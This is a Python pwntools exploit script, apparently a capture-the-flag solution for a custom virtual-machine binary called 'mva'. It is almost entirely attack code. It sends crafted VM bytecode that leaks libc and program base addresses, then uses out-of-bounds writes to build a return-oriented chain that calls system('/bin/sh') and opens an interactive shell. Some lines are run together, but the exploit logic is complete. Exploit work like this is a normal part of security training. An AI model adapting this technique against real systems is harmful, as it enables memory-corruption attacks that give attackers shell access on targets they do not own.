1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182
|
from pwn import * context.arch='amd64'
elf=ELF('./mva') libc = ELF('./libc-2.31.so') p=process('./mva')
def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes: return (op&0xff).to_bytes(1,'little') + \ (p1&0xff).to_bytes(1,'little') + \ (p2&0xff).to_bytes(1,'little') + \ (p3&0xff).to_bytes(1,'little')
def ldr(p1,p2,p3): return pack(0x01, p1, p2, p3)
def add(p1, p2, p3): return pack(0x02, p1, p2, p3)
def sub(p1, p2, p3): return pack(0x03, p1, p2, p3)
def shr(p1, p2): return pack(0x06, p1, p2)
def xor(p1, p2, p3): return pack(0x07, p1, p2, p3)
def push(): return pack(0x09)
def pop(p1): return pack(0x0a, p1)
def mul(p1, p2, p3): return pack(0x0D, p1, p2, p3)
def mv(p1, p2): return pack(0x0E, p1, p2)
def sh(): return pack(0x0F)
p.recvuntil('[+] Welcome to MVA, input your code now :\n')
while True: try: p=process('./mva') sleep(0.01) pay = push()*8 pay += sh()+push()+sh()+push()+sh() pay += ldr(0,0,0xf4) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) pay += sh() + push() + sh() + push() + sh()
pay += ldr(0,0,0xff) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) pay += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) pay += pop(0) + sh() + pop(1) + sh() pay += ldr(2,1,0xe) + ldr(3,0,0) + ldr(4,0,0) + ldr(5,0x80,0) pay += mv(2,0xf6) + mv(3,0xf7) + mv(4,0xf8) + mv(5,0xf9) + push() pay += mv(1,0) + pop(1) + pop(1) + push() pay += ldr(0,0x51,0) + pop(1) + pop(1) + push()
pay = pay.ljust(0x100, b'\x00')
p.send(pay)
p.recvuntil('[+] MVA is starting ...\n') a = int(p.recv(6)[:-1]) log.success("a: " + hex(a)) b = int(p.recv(6)[:-1]) log.success("b: " + hex(b)) c = int(p.recv(6)[:-1]) log.success("c: " + hex(c)) d = (c << 32) | (b << 16) | a log.success("d: " + hex(d)) libc.address = d - 0x223700 log.success("libc.address: " + hex(libc.address))
a = int(p.recv(6)[:-1]) log.success("a: " + hex(a)) b = int(p.recv(6)[:-1]) log.success("b: " + hex(b)) c = int(p.recv(6)[:-1]) log.success("c: " + hex(c)) d = (c << 32) | (b << 16) | a log.success("d: " + hex(d)) elfbase = d - 0x1a70 log.success("elfbase: " + hex(elfbase))
pop_rdi = libc.address + 0x23b72 log.success("pop_rdi: " + hex(pop_rdi))
ret = libc.address + 0x22679 ret1 = ret & 0xffff ret1 = ((ret1&0xff00)>>8) + ((ret1&0xff) << 8) ret2 = (ret & 0xffffffff)>>16 ret2 = ((ret2&0xff00)>>8) + ((ret2&0xff) << 8) ret3 = (ret)>>32 ret3 = ((ret3&0xff00)>>8) + ((ret3&0xff) << 8)
system = libc.sym['system'] log.success("system: " + hex(system)) system1 = system & 0xffff system1 = ((system1&0xff00)>>8) + ((system1&0xff) << 8) log.success("system1: " + hex(system1)) system2 = (system & 0xffffffff)>>16 system2 = ((system2&0xff00)>>8) + ((system2&0xff) << 8) log.success("system2: " + hex(system2)) system3 = (system)>>32 system3 = ((system3&0xff00)>>8) + ((system3&0xff) << 8) log.success("system3: " + hex(system3))
pop_rdi1 = pop_rdi & 0xffff pop_rdi1 = ((pop_rdi1&0xff00)>>8) + ((pop_rdi1&0xff) << 8) log.success("pop_rdi1: " + hex(pop_rdi1)) pop_rdi2 = (pop_rdi & 0xffffffff)>>16 pop_rdi2 = ((pop_rdi2&0xff00)>>8) + ((pop_rdi2&0xff) << 8) log.success("pop_rdi2: " + hex(pop_rdi2))
binsh = elfbase + 0x4138 log.success("binsh: " + hex(binsh)) binsh1 = binsh & 0xffff binsh1 = ((binsh1&0xff00)>>8) + ((binsh1&0xff) << 8) log.success("binsh1: " + hex(binsh1)) binsh2 = (binsh & 0xffffffff)>>16 binsh2 = ((binsh2&0xff00)>>8) + ((binsh2&0xff) << 8) log.success("binsh2: " + hex(binsh2)) binsh3 = (binsh)>>32 binsh3 = ((binsh3&0xff00)>>8) + ((binsh3&0xff) << 8) log.success("binsh3: " + hex(binsh3))
p.recvuntil('[+] Welcome to MVA, input your code now :\n') except EOFError: p.close() continue else: success("Success!!!") pause() payload = ldr(0,1,0xc) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) payload += b'\x09\x01'+p16(pop_rdi1) payload += b'\x09\x01'+p16(pop_rdi2)
payload += ldr(0,1,0x10) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) payload += b'\x09\x01'+p16(binsh1) payload += b'\x09\x01'+p16(binsh2) payload += b'\x09\x01'+p16(binsh3)
payload += ldr(0,1,0x14) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) payload += b'\x09\x01'+p16(ret1) payload += b'\x09\x01'+p16(ret2) payload += b'\x09\x01'+p16(ret3) payload += ldr(0,1,0x18) + ldr(1,0,0) + ldr(2,0,0) + ldr(3,0x80,0) payload += mv(0,0xf6) + mv(1,0xf7) + mv(2,0xf8) + mv(3,0xf9) payload += b'\x09\x01'+p16(system1) payload += b'\x09\x01'+p16(system2) payload += b'\x09\x01'+p16(system3) payload += b'\x09\x01'+p16(0)
payload += p32(0x8) + p32(0xE4000000) payload = payload.ljust(0x38*4,b'\x00') payload += p32(8) + p32(0) payload = payload.ljust(0xf8,b'\x00') payload += b'/bin/sh\x00' p.send(payload) p.interactive()
|